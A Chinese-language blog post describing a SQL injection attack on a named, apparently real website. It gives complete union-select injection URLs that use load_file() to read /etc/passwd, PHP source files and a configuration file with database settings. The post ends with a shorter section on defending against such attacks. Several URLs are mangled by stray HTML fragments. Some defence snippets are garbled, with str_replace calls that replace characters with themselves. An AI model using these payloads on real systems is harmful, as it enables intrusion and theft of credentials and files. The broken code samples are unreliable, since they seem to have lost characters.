听承诺说ＣＡＳＩ出２.0了，而且承诺也给了一个有漏洞的地址，正好没事就测试了一下，最近非常郁闷，学不下去，正好今天承诺勾起了我学习php的美好时光，看看自己还能不能搞这样的站吧.
过程：
承诺给的地址是http://www.gametea.com//showboard.php?id=282
很标准的php注入形式，我们也按照标准的php注入方法来进行注入，首先再后面加一个',
http://www.gametea.com/showboard.php?id=282'
如图１
他告诉我们２个方面的信息，第一是magic_quotes_gpc = off
第二个就是web路径/home/newgt/showboard.php
再提交语句以前我们还是先来说明一下php注入的原理和一个小例子，php注入就是利用变量过滤不足造成的
看看下面两句SQL语句：
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。
① 指定变量$id为：
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为：
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id为：
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为：
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数，我们的攻击就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。
好了现在我们就要按照angel的方法来提交语句了http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,7,6,5,4,3,2,1
如图２
再这里我们可以得知７和９这两个地方是文本的，也就是说可以显示我们想要的文件的内容,下面我们就是要读取服务器上的文件了从web路径上看这台机器应该是ＵＮＩＸ的，那么我们的目标就是拿到/etc/passwd这个文件了
我们知道，在SQL语句中，可以使用各种MySQL内置的函数，经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息，还有一个应用得比较多的函数，就是load_file()，该函数的作用是读入文件，并将文件内容作为一个字符串返回。
看到这里，应该可以想到我们可以做什么了，就是读取一些机密文件，但是也是有条件限制的：
欲读取文件必须在服务器上
必须指定文件完整的路径
必须有权限读取并且文件必须完全可读
欲读取文件必须小于 max_allowed_packet
如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限，在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到只有administrators才能访问的文件，users就别想load_file出来。
在实际的注入中，我们有两个难点需要解决：
绝对物理路径
构造有效的畸形语句
在很多PHP程序中，当提交一个错误的Query，如果display_errors = on，程序就会暴露WEB目录的绝对路径，只要知道路径，那么对于一个可以注入的PHP程序来说，整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。
我们这里用的load_file(char())这个函数我们需要把/etc/passwd转化成１６进制的我们请出asc2chr这个工具来帮我们完成转化工作
如图三
我们很轻松的就得到了/etc/passwd的１６进制格式
下面就是构建语句了_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1">http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1
很轻松就得到了/etc/passwd的文件，大家看一下图片，
如图４
下面我们就要想办法来读取config的配置文件了，因为前面我们得到了web的路径所以读取就很轻松了
构建语句_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1">http://www.gametea.com//showboard.php?id=282 and 1=2 union select 50,9,8,load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1
如图五
可是和我们想的不一样，并没有得到php源代码，原来php的代码再服务器端执行了，这个时候我们可以用angel的办法利用into outfile来把要读取的文件备份到服务器上，可是我没有这样做，因为我不想局限于别人的思路我认为mysql一定有强大的函数能帮助我们的,记得以前学习php的时候学字符串函数的时候学到了这样一个函数就是replace()他的作用就是把指定的字符串换成我们想要的字符串，我觉得一定能够利用,
附:replace()函数原形
REPLACE(str,from_str,to_str)返回字符串str，其字符串from-str的所有出现有字符串to-str代替
mysql>SELECT REPLACE('www.mysql.com','w','Ww');
->'WwWwWw.mysql.com'
到这里我就想了php源代码的固定形式是这样的，
那么我们如果打破规则，把 中的
_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">http://www.gametea.com//showboard.php?id=282 and 1=2 union select 50,9,8,replace(load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1
char(60) 是
他的意思就是把换成空格，我们已经成功了，大家看图，
如图６
好了到这里我们的目的就是读取config的文件了他的config文件是/home/newgt/localdata.php,
够建语句如下
_file(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,replace(load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1
如图７我们就已经得到了config的文件了,
如图７
到这里我们的思路就应该清楚了，我就不在往下做了，如果大家感兴趣的话可以参考我以前的文章来继续渗透，这里我们已经能够清楚的看到一个小小的注入漏洞就能引出这么大的漏洞，希望国内的人重视起来,下面是解决办法防范可以从两个方面着手，一个就是服务器，二个就是代码本身，介绍服务器配置的文章很多了，无非就是把magic_quotes_gpc设置为On，display_errors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。
如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：
$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");
或者这样写：
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")
不管如何构造，最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写，非常简洁。
字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magic_quotes_gpc一样，使用后，所有的 ' (单引号), " (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php，就算magic_quotes_gpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：
$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");
或者这样写：
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")
使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把"_"、"%"转换为"_""%"就可以了，当然也不要忘记使用addslashes()函数。具体代码如下：
$keywords = addslashes($keywords);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
好了，这篇文章就写到这里
